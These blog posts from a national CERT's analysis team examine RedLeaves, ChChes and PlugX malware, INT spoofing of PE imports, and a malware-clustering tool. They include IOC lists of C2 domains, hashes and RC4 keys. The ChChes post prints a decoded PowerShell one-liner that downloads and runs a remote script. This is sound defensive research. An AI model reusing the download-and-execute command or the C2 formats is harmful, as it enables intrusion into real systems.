42 posts categorized "#Threats" Feed

Apr 03, 2017

RedLeaves - Malware Based on Open Source RAT

Hi again, this is Shusei Tomonaga from the Analysis Center.

Since around October 2016, JPCERT/CC has been confirming information leakage and other damages caused by malware ‘RedLeaves’. It is a new type of malware which has been observed since 2016 in attachments to targeted emails.

This entry introduces details of RedLeaves and results of our analysis including its relation to PlugX, and a tool which is used as the base of this malware.

How RedLeaves runs

To have the RedLeaves injected into the process of Internet Explorer, the following steps will be taken (Figure1):

Figure 1: Flow of events until RedLeaves runs

Malware samples that JPCERT/CC has analysed create the following three files in %TEMP% folder and execute a legitimate application when executed.

  • A legitimate application (EXE file): a signed, executable file which reads a DLL file located in the same folder
  • A Loader (DLL file): a malicious DLL file which is loaded by the legitimate application
  • Encoded RedLeaves (DATA file): Encoded data which is read by the loader

When the legitimate application is executed, it loads the loader located in the same folder through DLL Hijacking (DLL preloading).

The loader, which is loaded in the legitimate application, reads and decodes the encoded RedLeaves and then executes it. The executed RedLeaves launches a process (Internet Explorer) depending on its configuration, and injects itself there. Then, RedLeaves starts running in the injected process. The following section explains the behaviour of the injected RedLeaves.

Behaviour of RedLeaves

RedLeaves communicates to specific sites by HTTP or its custom protocol and executes commands that are received. Figure 2 is the PE header of the injected RedLeaves. Strings such as “MZ” and “PE” are replaced with “0xFF 0xFF”.

Figure 2: Injected RedLeaves

The injected RedLeaves connects to command and control (C&C) servers by HTTP POST request or its custom protocol. Destination hosts and communication methods are specified in its configuration. Please refer to Appendix A for more information.

Below is an example of the HTTP POST request. Table B-1 and B-2 in Appendix B describe the format of the data sent.

POST /YJCk8Di/index.php
Connection: Keep-Alive
Accept: */*
Content-Length: 140


The data is encrypted with RC4 (the key is stored in its configuration) and contains the following:


The data received from the C&C servers contain commands. Depending on the received commands, RedLeaves executes the following functions (Please see Table B-3 in Appendix B for the details of received data):

  • Operation on files
  • Execute arbitrary shell commands
  • Configure communication methods
  • Send drive information
  • Send system information
  • Upload/download files
  • Screen capture
  • Execute proxy function

Base of RedLeaves’s Code

JPCERT/CC analysed RedLeaves and confirmed that its code has a lot in common with the source code of Trochilus[1], a type of RAT (Remote Administration Tool), which is available on Github. Figure 3 shows part of the code to process received data. It is clear that it processes the same data as listed in Table B-3 in Appendix B.

Figure 3: Part of Trochilus’s source code

It is presumed that RedLeaves is built on top of Trochilus’s source code, rather than from scratch.

Relation to PlugX

Comparing RedLeaves samples that JPCERT/CC has observed with PlugX, used by certain attacker groups in the past, we identified that similar code is used in some processes. Below are the sequence of instructions observed when the sample creates three files (a legitimate application, a loader and encoded RedLeaves or PlugX).

Figure 4: Comparison of file creation process

Furthermore, the process in which the loader decodes the encoded data (encoded RedLeaves or PlugX) is similar.

Figure 5: Comparison of file decode process

JPCERT/CC has also confirmed that some of the RedLeaves and PlugX samples that share the above code also communicate with common hosts. From this observation, it is presumed that the attacker group using RedLeaves may have used PlugX before.


RedLeaves is a new type of malware being observed since 2016 in attachments to targeted emails. Attacks using this malware may continue.

The hash values of the samples introduced here are listed in Appendix C. Some of the RedLeaves’ destination hosts that JPCERT/CC has confirmed are also listed in Appendix D. Please check your devices for any suspicious communication with such hosts.

- Shusei Tomonaga

(Translated by Yukako Uchida)


[1] Trochilus: A fast&free windows remote administration Tool


Appendix A: Configuration information
Table A: List of Configuration Information
0x000 Destination 1
0x040 Destination 2
0x080 Destination 3
0x0C0 Port number
0x1D0 Communication mode 1=TCP, 2=HTTP, 3=HTTPS, 4=TCP and HTTP
0x1E4 ID
0x500 Mutex
0x726 Injection Process
0x82A RC4 key Used for encrypting communication

RC4 key examples:

  • Lucky123
  • problems
  • 20161213
  • john1234
  • minasawa
Appendix B: Communicated data
Table B-1: Format of data sent through HTTP POST request
0x00 4 Length of data encrypted with RC4 (XOR encoded with the first 4 bytes of the RC4 key)
0x04 4 Server id (XOR encoded with the first 4 bytes of the RC4 key)
0x08 4 Fixed value
0x0C - Data encrypted with RC4

Table B-2: Format of data sent through its custom protocol
0x00 4 Random numerical value
0x04 4 Fixed value
0x08 4 Length
0x0C 4 Length of data encrypted with RC4 (XOR encoded with the first 4 bytes of the RC4 key)
0x10 4 Server id (XOR encoded with the first 4 bytes of the RC4 key)
0x14 4 Fixed value
0x18 - Data encrypted with RC4

Table B-3: Contents in received data
__msgid Numeric Command
__serial Numeric
__upt true, etc. Whether the command is executed by a thread
__data data Command parameter, etc.
Appendix C: SHA-256 hash value of the samples


  • 5262cb9791df50fafcb2fbd5f93226050b51efe400c2924eecba97b7ce437481


  • fcccc611730474775ff1cfd4c60481deef586f01191348b07d7a143d174a07b0
Appendix D: Communication destination host
  • mailowl.jkub.com
  • windowsupdates.itemdb.com
  • microsoftstores.itemdb.com

Mar 23, 2017

Malware Clustering using impfuzzy and Network Analysis - impfuzzy for Neo4j -

Hi again, this is Shusei Tomonaga from the Analysis Center.

This entry introduces a malware clustering tool “impfuzzy for Neo4j” developed by JPCERT/CC.

Overview of impfuzzy for Neo4j

impfuzzy for Neo4j is a tool to visualise results of malware clustering using a graph database, Neo4j. A graph database is a database for handling data structure comprised of records (nodes) and relations among the records. Neo4j provides functions to visualise registered nodes and relations in a graph.

impfuzzy for Neo4j operates in the following sequence:

  1. Calculate the similarity of malware using impfuzzy
  2. Generate a graph (network) based on the similarity
  3. Conduct network analysis over the graph (clustering)
  4. Register and visualise the clustering results on Neo4j database

First, the tool calculates the similarity of malware using impfuzzy; the techniques to estimate the similarity of Windows executables based on a hash value generated from Import API. impfuzzy was introduced in our blog article before, so please take a look for further details.

After that, a graph is generated by connecting nodes that were judged to be similar based on the impfuzzy results. The graph is then analysed using Louvain method [1]. This is one of the methods to cluster network graphs, which outperforms other algorithms in speed. With this analysis, malware is automatically classified into groups.

Finally, the information of analysed malware and its group is registered in Neo4j database.

Figure 1 describes the clustering result of Emdivi malware using impfuzzy for Neo4j.

Figure 1: Clustering result of Emdivi by impfuzzy for Neo4j

In this graph, types of malware (pink nodes) that are judged to be similar are connected with lines. From the above visualisation, it is clear that there are several groups of their variants with high similarity.

Since impfuzzy for Neo4j automatically clusters related samples through network analysis, it is possible to extract samples that belong to a specific group. Figure 2 visualises the relationship of a specific group from the example in Figure 1. The numbers on the grey lines (grey edges) between samples indicate the similarity of the malware in the range from 0 to 100 (the higher the number is, the more similar the samples are).

Figure 2: Visualisation results of samples belonging to a specific group

How to obtain and use impfuzzy for Neo4j

The tool is available on GitHub. Please refer to the following webpage:

JPCERTCC/aa-tools GitHub - impfuzzy for Neo4j


Here are the instructions for using impfuzzy for Neo4j.

1. Obtain and install Neo4j community edition

Download Neo4j community edition from the following webpage and install it:


2. Download impfuzzy_for_neo4j.py

From the following webpage:


3. Install the software required for executing impfuzzy_for_neo4j.py

  • Install Python module pyimpfuzzy
$ pip install pyimpfuzzy

For more information on the install procedures, please see:


  • Install Python module py2neo v3
$ pip install py2neo

For more information on the install procedures, please see:


  • Download Python script pylouvain.py from the following webpage and save it to the same folder as impfuzzy_for_neo4j.py


4. Run Neo4j

Run Neo4j by GUI or a command line.

5. Configure a password for Neo4j in impfuzzy_for_neo4j.py

Configure the login password for Neo4j in impfuzzy_for_neo4j.py (change the {password} below).

NEO4J_PASSWORD = "{password}"

How to use impfuzzy for Neo4j

To use impfuzzy for Neo4j, use these options to specify the input of malware to cluster.

  • -f - Specify malware (a file)
  • -d - Specify a folder where malware is stored
  • -l - Specify a CSV file(*) which lists malware

(*) The format of CSV files are the following:

File name, impfuzzy hash value, MD5 hash value, SHA1 hash value, SHA256 hash value

In the following example, malware is stored in the folder ‘Emdivi’ which is passed as a parameter.

Figure 3: impfuzzy for Neo4j execution result

Clustering results are registered in Neo4j database. Visualisation is available through the web interface of Neo4j, which is accessible from the URL below (The following is an example of Neo4j installed in a local environment).


For visualising a graph of clustering results, a Cypher query (a command to operate Neo4j database) needs to be executed through the web interface. Figure 4 is an example of executing a Cypher query through the web interface.

Figure 4: Example of Cypher query execution

Cypher queries to execute are different depending on what kind of clustering results you would like to visualise. Below are the examples of Cypher queries to visualise different clustering results.

[Example 1] Visualise all clustering results (Figure 1 is the result of the following Cypher query)

$ MATCH (m:Malware) RETURN m

[Example 2] Visualise a group of samples with a specific MD5 hash value (Figure 2 is an example of the following Cypher query)

MATCH (m1:Malware) WHERE m1.md5 = "[MD5 hash value]"
MATCH (m2:Malware) WHERE m2.cluster = m1.cluster


[Example 3] Visualise all clustering results with impfuzzy similarity level over 90

$ MATCH (m:Malware)-[s:same]-() WHERE s.value > 90 RETURN m,s


Clustering large amount of malware to distinguish unknown types that needs to be analysed in a quick manner is crucial in malware analysis. We hope that impfuzzy for Neo4j will help such analysis tasks.

In a future entry, we will introduce the clustering and analysis results that we gained through this tool.

- Shusei Tomonaga

(Translated by Yukako Uchida)


[1] The Louvain method for community detection in large networks



Mar 01, 2017

Malware Leveraging PowerSploit

Hi again, this is Shusei Tomonaga from the Analysis Center.

In this article, I’d like to share some of our findings about ChChes (which we introduced in a previous article) that it leverages PowerSploit [1] – an open source tool – for infection.

Flow of ChChes Infection

The samples that JPCERT/CC confirmed this time infect machines by leveraging shortcut files. The flow of events from a victim opening the shortcut file until a machine is infected is illustrated in Figure 1.

Figure 1: Flow of events from opening a shortcut file to ChChes infection

When the shortcut file is opened, a file containing PowerShell script is downloaded from an external server and then executed. Next, ChChes code (version 1.6.4) contained in the PowerShell script is injected into powershell.exe and executed. The detailed behaviour in each phase is described below.

Behaviour after the shortcut file is opened

When the shortcut file is opened, the following PowerShell script contained in the file is executed.

powershell.exe -nop -w hidden -exec bypass  -enc JAAyAD0AJwAtAG4Abw ~omitted~

The PowerShell script after “-enc” is encoded. Below is the decoded script:

$2='-nop -w hidden -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString(''https://goo.gl/cpT1NW'')"';if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $3 $2";}else{iex "& powershell $2";}

By executing the above PowerShell script, a file containing PowerShell script is downloaded from a specified URL. The downloaded script is loaded in 32-bit powershell.exe (syswow64\WindowsPowerShell\v1.0\powershell) and executed. The reason why it is executed in 32-bit is considered to be that ChChes’s assembly code contained in the PowerShell script is not compatible with 64-bit environment.


Details of the Downloaded PowerShell Script

The downloaded PowerShell script is partially copied from PowerSploit (Invoke-Shellcode.ps1). PowerSploit is a tool to execute files and commands on a remote host and is used for penetration tests.

When the downloaded PowerShell script is executed, it creates document files based on data contained in the script, store the files in the %TEMP% folder and displays them.  We’ve seen different types of documents shown, including Excel and World documents.


Next, ChChes code contained in the PowerShell is injected into powershell.exe. The injected ChChes receives commands and modules from C2 servers as explained in the previous blog post. The PowerShell script and the injected ChChes are not saved as files in the infected machines, and ChChes itself only exists in the memory.

Figure 2 is a part of the PowerShell script.

Figure 2: Downloaded PowerShell script

Confirming Attack Traces through Event Logs

In environments where PowerShell v5.0 is installed (including Windows 10), the PowerShell script downloaded from remote servers are recorded in the event logs under the default settings (as Figure 3). When you investigate, please check if your logs contain such records.

Figure 3: Contents recorded in Event Logs

Such logs can also be obtained in PowerShell v4.0 (Default version of Windows 8.1) by enabling the following Group Policy.

  • Computer Configuration -> Administrative Templates -> Windows Components -> Windows PowerShell -> Turn on PowerShell Script Block Logging


It is now quite common that PowerShell script is leveraged for attacks. If your event log configuration is not set to record PowerShell execution, it is recommended that you revise the settings in preparation for such attacks. Also, if you are not using PowerShell, it is suggested to restrict the execution by using AppLocker, etc.

-Shusei Tomonaga

(Translated by Yukako Uchida)


[1] PowerSploit


Appendix A: SHA-256 Hash Values of the samples


  • 4ff6a97d06e2e843755be8697f3324be36e1ebeb280bb45724962ce4b6710297
  • 75ef6ea0265d2629c920a6a1c0d1dd91d3c0eda86445c7d67ebb9b30e35a2a9f
  • ae0dd5df608f581bbc075a88c48eedeb7ac566ff750e0a1baa7718379941db86
  • 646f837a9a5efbbdde474411bb48977bff37abfefaa4d04f9fb2a05a23c6d543
  • 3d5e3648653d74e2274bb531d1724a03c2c9941fdf14b8881143f0e34fe50f03
  • 9fbd69da93fbe0e8f57df3161db0b932d01b6593da86222fabef2be31899156d
  • 723983883fc336cb575875e4e3ff0f19bcf05a2250a44fb7c2395e564ad35d48
  • f45b183ef9404166173185b75f2f49f26b2e44b8b81c7caf6b1fc430f373b50b
  • 471b7edbd3b344d3e9f18fe61535de6077ea9fd8aa694221529a2ff86b06e856
  • aef976b95a8d0f0fdcfe1db73d5e0ace2c748627c1da645be711d15797c5df38
  • dbefa21d3391683d7cc29487e9cd065be188da228180ab501c34f0e3ec2d7dfc

Feb 21, 2017

PlugX + Poison Ivy = PlugIvy? - PlugX Integrating Poison Ivy’s Code -

Hi again, this is Shusei Tomonaga from the Analysis Center.

PlugX is a type of malware used for targeted attacks. We have introduced its new features in the blog article “Analysis of a Recent PlugX Variant - ‘P2P PlugX”. This article will discuss the following two structural changes observed in PlugX since April 2016:

  • the way API is called
  • the format of main module changed from PE to raw binary code

In this article, we will refer to PlugX observed after April 2016 as “New PlugX”, and older versions as “Old PlugX”.

Change in API call

When calling Windows API, Old PlugX used the API names as the key to load the corresponding library functions based on their addresses, which is a similar behaviour of calling APIs from the usual PE files. Therefore, Old PlugX code contains strings of the Windows API names.

In contrast, New PlugX does not contain any API name strings in its code, but instead possesses hash values of those API names. When calling an API, it obtains a list of APIs by using Windows functions and performs hash calculation one by one. The API name whose hash value matches the specified value is set as a key to call an API. This method is used when code without IAT (Import Address Table), meaning code other than PE format, call Windows APIs and is applied within shellcodes. This method is also used by some types of malware in order to conceal API names.

Code in Figure 1 shows how New PlugX is calling the Windows API ‘GetSystemInfo’. “86AA8709h” is the hash value for ‘GetSystemInfo’. Address resolution is performed using the hash value, and it jumps to GetSystemInfo’s address by “jmp eax”.

Figure 1: The function calling for GetSystemInfo

In principle, as long as a collision doesn’t occur, any hash algorithm can be used for hashing Windows API names. However, New PlugX uses the same hash algorithm as Poison Ivy. Figure 2 compares the hash function of New PlugX and Poison Ivy.

Figure 2: Windows API hash function for New PlugX (left) and Poison Ivy (right) (Parts that match are in light blue)

Change from PE format to raw code format

While Old PlugX stored the malware in PE format (DLL), New PlugX stores only its code and does not contain a header. A single PlugX sample (‘PlugX Data’ in Fig.3) contained both the encoded version of PlugX and code to decode it (‘Decoding code’ in Figure 3). When the sample is executed, the main module of PlugX (‘PlugX main module’ in Figure 3) is decoded, and it injects itself into another process to be executed in that process. The execution flow in Old PlugX is described in Figure 3.

Figure 3: Execution flow in Old PlugX

Figure 4 describes the execution flow in New PlugX. Like Old PlugX,  the main module, which is encoded, injects itself to a process and then it is executed in the process. The big difference is that the main module has been changed from PE format (DLL) in Old PlugX to raw code format in New PlugX.

Figure 4: Execution flow in New PlugX

Figure 5 shows the beginning of the decoded main module of PlugX. While Old PlugX had a header that is equivalent to one in a PE format, New PlugX begins with executable code and there is no PE header.

Figure 5: Old PlugX (above) and New PlugX (below) after decoding


Upon upgrading Old PlugX to New PlugX, the developer presumably referred to Poison Ivy which is also used for targeted attacks. As previously explained, New PlugX uses the same hash value for API call as Poison Ivy, but on top of that, the raw code format that New PlugX applies is also one of the features of Poison Ivy. The purpose of the upgrade is thought to complicate malware analysis so that malware can be used for a longer period of time.

We should keep an eye on PlugX because it has been evolving and still constantly used to conduct targeted attacks. At this stage, both New and Old PlugX are still being actively used.

We would like to recommend that you revisit our article since the demonstrated features there (configuration information, communication method, encode format etc.) remain the same in New PlugX.

Thanks for reading.

- Shusei Tomonaga

(Translated by Yukako Uchida)

Feb 15, 2017

ChChes – Malware that Communicates with C&C Servers Using Cookie Headers

Since around October 2016, JPCERT/CC has been confirming emails that are sent to Japanese organisations with a ZIP file attachment containing executable files. The targeted emails, which impersonate existing persons, are sent from free email address services available in Japan. Also, the executable files’ icons are disguised as Word documents. When the recipient executes the file, the machine is infected with malware called ChChes.

This blog article will introduce characteristics of ChChes, including its communication.

ZIP files attached to Targeted Emails

While some ZIP files attached to the targeted emails in this campaign contain executable files only, in some cases they also contain dummy Word documents. Below is the example of the latter case.

Figure 1: Example of an attached ZIP file

In the above example, two files with similar names are listed: a dummy Word document and an executable file whose icon is disguised as a Word document. By running this executable file, the machine will be infected with ChChes. JPCERT/CC has confirmed the executable files that have signatures of a specific code signing certificate. The dummy Word document is harmless, and its contents are existing online articles related to the file name “Why Donald Trump won”. The details of the code signing certificate is described in Appendix A.

Communication of ChChes

ChChes is a type of malware that communicates with specific sites using HTTP to receive commands and modules. There are only few functions that ChChes can execute by itself. This means it expands its functions by receiving modules from C&C servers and loading them on the memory.

The following is an example of HTTP GET request that ChChes sends. Sometimes, HEAD method is used instead of GET.

GET /X4iBJjp/MtD1xyoJMQ.htm HTTP/1.1
Cookie: uHa5=kXFGd3JqQHMfnMbi9mFZAJHCGja0ZLs%3D;KQ=yt%2Fe(omitted)
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: [user agent]
Host: [host name]
Connection: Keep-Alive
Cache-Control: no-cache

As you can see, the path for HTTP request takes /[random string].htm, however, the value for the Cookie field is not random but encrypted strings corresponding to actual data used in the communication with C&C servers. The value can be decrypted using the below Python script.

data_list = cookie_data.split(';')
dec = []
for i in range(len(data_list)):
    tmp = data_list[i]
    pos = tmp.find("=")
    key = tmp[0:pos]
    val = tmp[pos:]
    md5 = hashlib.md5()
    rc4key = md5.hexdigest()[8:24]
    rc4 = ARC4.new(rc4key)
print("[*] decoded: " + "".join(dec))

The following is the flow of communication after the machine is infected.

Figure 2: Flow of communication

The First Request

The value in the Cookie field of the HTTP request that ChChes first sends (Request 1) contains encrypted data starting with ‘A’. The following is an example of data sent.

Figure 3: Example of the first data sent

As indicated in Figure 3, the data which is sent contains information including computer name. The format of the encrypted data differs depending on ChChes’s version. The details are specified in Appendix B.

As a response to Request 1, ChChes receives strings of an ID identifying the infected machine from C&C servers (Response 1). The ID is contained in the Set-Cookie field as shown below.

Figure 4: Example response to the first request

Request for Modules and Commands

Next, ChChes sends an HTTP request to receive modules and commands (Request 2). At this point, the following data starting with ‘B’ is encrypted and contained in the Cookie field.

B[ID to identify the infected machine]

As a response to Request 2, encrypted modules and commands (Response 2) are sent from C&C servers. The following shows an example of received modules and commands after decryption.

Figure 5: Decrypted data of modules and commands received

Commands are sent either together with modules as a single data (as above), or by itself. Afterwards, execution results of the received command are sent to C&C servers, and it returns to the process to receive modules and commands. This way, by repeatedly receiving commands from C&C servers, the infected machines will be controlled remotely.

JPCERT/CC’s research has confirmed modules with the following functions, which are thought to be the bot function of ChChes.

  • Encrypt communication using AES
  • Execute shell commands
  • Upload files
  • Download files
  • Load and run DLLs
  • View tasks of bot commands

Especially, it was confirmed that the module that encrypts the communication with AES is received in a relatively early stage after the infection. With this feature, communication with C&C servers after this point will be encrypted in AES on top of the existing encryption method.


ChChes is a relatively new kind of malware which has been seen since around October 2016. As this may be continually used for targeted attacks, JPCERT/CC will keep an eye on ChChes and attack activities using the malware.

The hash values of the samples demonstrated here are described in Appendix C. The malware’s destination hosts that JPCERT/CC has confirmed are listed in Appendix D. We recommend that you check if your machines are communicating with such hosts.

Thanks for reading.

- Yu Nakamura

(Translated by Yukako Uchida)

Appendix A: Code signing certificate

The code signing certificate attached to some samples are the following:

$ openssl x509 -inform der -text -in mal.cer 
        Version: 3 (0x2)
        Serial Number:
    Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=Terms of use at https://www.verisign.com/rpa (c)10, CN=VeriSign Class 3 Code Signing 2010 CA
            Not Before: Aug  5 00:00:00 2011 GMT
            Not After : Aug  4 23:59:59 2012 GMT
        Subject: C=IT, ST=Italy, L=Milan, O=HT Srl, OU=Digital ID Class 3 - Microsoft Software Validation v2, CN=HT Srl
        Subject Public Key Info:
Figure 6: Code signing certificate
Appendix B: ChChes version

The graph below shows the relation between the version numbers of the ChChes samples that JPCERT/CC has confirmed and the compile times obtained from their PE headers.

Figure 7: Compile time for each ChChes version

The lists below describe encrypted data contained in the first HTTP request and explanation of the values for each ChChes version.

Table 1: Sending format of each version
1.0.0 A<a>*<b>?3618468394?<c>?<d>*<f>
1.2.2 A<a>*<b>?3618468394?<c>?<d>*<f>
1.3.0 A<a>*<b>?3618468394?<c>?<d>*<f>
1.3.2 A<a>*<b>?3618468394?<c>?<d>*<g>
1.4.0 A<a>*<b>?3618468394?<c>?<d>*<g>
1.4.1 A<a>*<b>?3618468394?<c>?<d> (<e>)*<g>
1.6.4 A<a>*<b>*<h>?3618468394?<c>?<d> (<e>)*<g>

Table 2: Description of <a> to <h>
<a> Computer name Variable Capital alphanumeric characters
<b> Process ID Variable Capital alphanumeric characters
<c> Path of a temp folder Variable %TEMP% value
<d> Malware version Variable e.g. 1.4.1
<e> Screen resolution Variable e.g. 1024x768
<f> explorer.exe version Variable e.g. 6.1.7601.17567
<g> kernel32.dll version Variable e.g. 6.1.7601.17514
<h> Part of MD5 value of SID 16 bytes e.g. 0345cb0454ab14d7
Appendix C: SHA-256 Hash value of the samples


  • 5961861d2b9f50d05055814e6bfd1c6291b30719f8a4d02d4cf80c2e87753fa1
  • ae6b45a92384f6e43672e617c53a44225e2944d66c1ffb074694526386074145
  • 2c71eb5c781daa43047fa6e3d85d51a061aa1dfa41feb338e0d4139a6dfd6910
  • 19aa5019f3c00211182b2a80dd9675721dac7cfb31d174436d3b8ec9f97d898b
  • 316e89d866d5c710530c2103f183d86c31e9a90d55e2ebc2dda94f112f3bdb6d
  • efa0b414a831cbf724d1c67808b7483dec22a981ae670947793d114048f88057
  • e90064884190b14a6621c18d1f9719a37b9e5f98506e28ff0636438e3282098b
  • 9a6692690c03ec33c758cb5648be1ed886ff039e6b72f1c43b23fbd9c342ce8c
  • bc2f07066c624663b0a6f71cb965009d4d9b480213de51809cdc454ca55f1a91
  • e6ecb146f469d243945ad8a5451ba1129c5b190f7d50c64580dbad4b8246f88e
  • e88f5bf4be37e0dc90ba1a06a2d47faaeea9047fec07c17c2a76f9f7ab98acf0
  • d26dae0d8e5c23ec35e8b9cf126cded45b8096fc07560ad1c06585357921eeed
  • 2965c1b6ab9d1601752cb4aa26d64a444b0a535b1a190a70d5ce935be3f91699
  • 312dc69dd6ea16842d6e58cd7fd98ba4d28eefeb4fd4c4d198fac4eee76f93c3
  • 4ff6a97d06e2e843755be8697f3324be36e1ebeb280bb45724962ce4b6710297
  • 45d804f35266b26bf63e3d616715fc593931e33aa07feba5ad6875609692efa2
  • cb0c8681a407a76f8c0fd2512197aafad8120aa62e5c871c29d1fd2a102bc628
  • 75ef6ea0265d2629c920a6a1c0d1dd91d3c0eda86445c7d67ebb9b30e35a2a9f
  • 471b7edbd3b344d3e9f18fe61535de6077ea9fd8aa694221529a2ff86b06e856
  • ae0dd5df608f581bbc075a88c48eedeb7ac566ff750e0a1baa7718379941db86
  • 646f837a9a5efbbdde474411bb48977bff37abfefaa4d04f9fb2a05a23c6d543
  • 3d5e3648653d74e2274bb531d1724a03c2c9941fdf14b8881143f0e34fe50f03
  • 9fbd69da93fbe0e8f57df3161db0b932d01b6593da86222fabef2be31899156d
  • 723983883fc336cb575875e4e3ff0f19bcf05a2250a44fb7c2395e564ad35d48
  • f45b183ef9404166173185b75f2f49f26b2e44b8b81c7caf6b1fc430f373b50b
Appendix D: List of communication destination
  • area.wthelpdesk.com
  • dick.ccfchrist.com
  • kawasaki.cloud-maste.com
  • kawasaki.unhamj.com
  • sakai.unhamj.com
  • scorpion.poulsenv.com
  • trout.belowto.com
  • zebra.wthelpdesk.com
  • hamiltion.catholicmmb.com
  • gavin.ccfchrist.com

Jan 30, 2017

Anti-analysis technique for PE Analysis Tools –INT Spoofing–

When analysing Windows executable file type (PE file) malware, a tool to parse and display the PE file’s structure (hereafter “PE analysis tool”) is often used. This tool enables referring to a list of APIs that the malware imports (Import API) and functions that it exports. By analysing the data, it is possible to presume the malware’s function as in communicating with external servers or creating registry entries, etc. In this way, PE analysis tools are often used for malware analysis, however, a type of malware which has techniques to disturb operations of PE analysis tools has already been observed [1].

This entry introduces techniques to deceive analysts by displaying incorrect information in the Import API, and measures to implement in PE analysis tools against the issue.

INT (Import Name Table) and IAT (Import Address Table)

PE files contain 2 address tables related to Import API – INT and IAT. INT describes the address of the area which stores API names imported by the PE file. IAT is used when actually calling an API, and writes an entry address of the functions corresponding to the API when the module which exports the function is loaded. For more information about PE file formats, please refer to Microsoft’s website [2].

NT header in a PE file describes various kinds of information required for executing the file. NT header is structured as “IMAGE_NT_HEADERS”, and INT and IAT can be identified by tracing the address in “IMAGE_DATA_DIRECTORY” of Optional Header within the structure (Figure 1) [3].

Figure 1: INT and IAT related section within NT header in a PE file

The Name field of “IMAGE_IMPORT_BY_NAME” structure, which is referred to by INT, describes importing API names as a string. Generally, IMAGE_IMPORT_BY_NAME lists API names in a sequence as in Figure 2.

Figure 2: Example of IMAGE_IMPORT_BY_NAME

INT Spoofing

IMAGE_IMPORT_BY_NAME contains strings specifying API names. Even if someone tries to alter the API name in IMAGE_IMPORT_BY_NAME to disguise it as another PE file, it would not be executed properly since it would import unintended API when executing the PE file. As the red part in Figure 3 indicates, however, if the PE file is modified by adding new API names at the end of the INT to existing API names within the INT, it will not attempt to load a module since the IAT does not have a field that stores the entry address of the functions corresponding to the added API name. If PE analysis tools display such deliberately added API names, analysts would believe that the PE file has new APIs that is imported, which would confuse the analysis.

Figure 3: Example of INT spoofing

Check for INT-spoofed PE files using PE analysis tools

Many of the existing PE analysis tools refer to only INT when listing Import API, and recognise and display strings in IMAGE_IMPORT_BY_NAME as API names. When handling normal PE files, there is no issues with the behaviour since importing API addresses corresponding to the strings in IMAGE_IMPORT_BY_NAME, are written in the IAT.

However, if INT is spoofed by the above mentioned method, extra APIs are also listed. As an experiment, JPCERT/CC generated some INT-spoofed PE files, and tested how their Import API would be displayed in several PE analysis tools. As a result, many of them displayed extra APIs that are not actually imported.

Figure 4: Analysis examples of INT-spoofed executable files on PE analysis tools (Indicates the number of Import API increased due to INT spoofing)

Countermeasures against INT spoofing

One countermeasure against such spoofing would be to compare INT and IAT on a PE analysis tool and only display APIs that are actually imported (and not display added API names marked in red in the Figure 3). pyimpfuzzy, which was introduced in a past blog entry, is also a tool which performs analysis based on Import API. In its first version, there was an issue where INT-spoofed samples could not be analysed correctly. As such, the tool was updated with a new feature to compare INT and IAT, and only analyse the APIs that are actually imported.

Many PE analysis tools display strings in IMAGE_IMPORT_BY_NAME as they are. However, many debuggers and IDA refer to IATs when displaying Import API, and thus most of them do not seem to be affected by INT spoofing. When referring to the information on Import API in malware analysis, it is recommended to check APIs that are actually loaded in IAT by using a debugger, as well as INT strings.


JPCERT/CC has not yet observed any INT-spoofed samples, however, this disguising technique could possibly be abused in the near future. Automated analysis tools based on Import API may be affected by INT spoofing. As introduced above, pyimpfuzzy has been updated to a new version – please make sure that you are using the latest version (version 0.02).

Thanks for reading.

- Shusei Tomonaga
(Translated by Yukako Uchida)


[1] Palo Alto Networks - The Dukes R&D Finds a New Anti-Analysis Technique

[2] Microsoft - PE Format

[3] Microsoft - IMAGE_NT_HEADERS structure

Jan 25, 2017

2016 in Review: Top Cyber Security Trends in Japan

Hi, this is Misaki Kimura from Watch and Warning Group.

Another new year has come and gone, and as I look back over about the significant security trends that took place in 2016, it is needless to mention that security threat landscape is ever evolving and increasingly complex. As a basis for what we can prepare for 2017, I’d like to review security headlines in 2016 by referring to the activities carried out in Japan, to look into the expectations to come.

Increase in DDoS built by botnets such as Mirai

Large-scale botnets leveraging Internet of Things (IoT) devices to launch massive DDoS attacks, became a prominent topic worldwide. The Mirai botnet, which was responsible for the series of attacks in recent months, including the DDoS attacks against American journalist’s website “Krebs on Security”, and DNS provider “Dyn”, had brought a huge impact. The word “Mirai” is a Japanese word for “future”, and just as it is interpreted, since the release of Mirai source code last September, it has called a lot of concerns of what poorly secured IoT devices may bring in the future.

In response to this, a technical alert (in Japanese) was released on Japan Vulnerability Notes (JVN) to promote IoT device owners/users in Japan to secure their devices, and organizations were encouraged to place countermeasures towards DDoS attacks. In addition, JPCERT/CC has announced a security alert for awareness raising, and the Information-technology Promotion Agency, Japan (IPA) has also announced an alert (in Japanese) respectively.

Security guidelines concerning IoT were also published from multiple organizations during last year. “IoT Security Guide for Consumers (ver1.0)” (in Japanese) that is intended for readers such as IoT device developers and consumers to take precautions towards IoT devices was published from the Japan Network Security Association (JNSA). Furthermore, “IoT Security Guideline ver1.0” (in Japanese) was announced from the IoT Acceleration Consortium’s IoT Security Working Group, organized by the Ministry of Economy, Trade and Industry (METI) and the Ministry of Internal Affairs and Communications (MIC).

Advanced Persistent Threat (APT) becomes increasingly sophisticated

Since the Japan Pension Service hack in 2015 that led to 1.25 million cases of personal data leak, the Japanese public has been paying attention to targeted attacks than ever before. These types of attacks continued to evolve constantly by developing new tactics, techniques and procedures. Particularly in 2016, we have been observing attacks concerning to malware known as Daserf [1], Asurex [2], Sysget (aka HelloBridge, ZACOM) [3] and Elirks (aka KLURP) [4]. Though the attribution for each malware may differ, a common attack vector is observed - malware infections are attempted by convincing the user to open attachments of spear phishing emails or watering hole attacks.

Amongst all, what specifically grabbed our attention was Daserf. Not only different C2 servers were used for each targeted organization, but the C2 server for each infected device within the organization was also individual. Due to this multiplicity, blacklisting the URLs and IP addresses of C2 servers were no more an effective measure, allowing the threat actors to remain undetected for a long duration of time.

On the other hand, Elirks was also unique in terms of retrieving its C2 server’s IP address – it obtains the IP address by accessing to pre-determined microblog service or SNS. This behavior is deemed to avoid the detection of security products and to flexibly switch the C2 server specified in the content of articles posted on those legitimate services by rewriting the code in it.

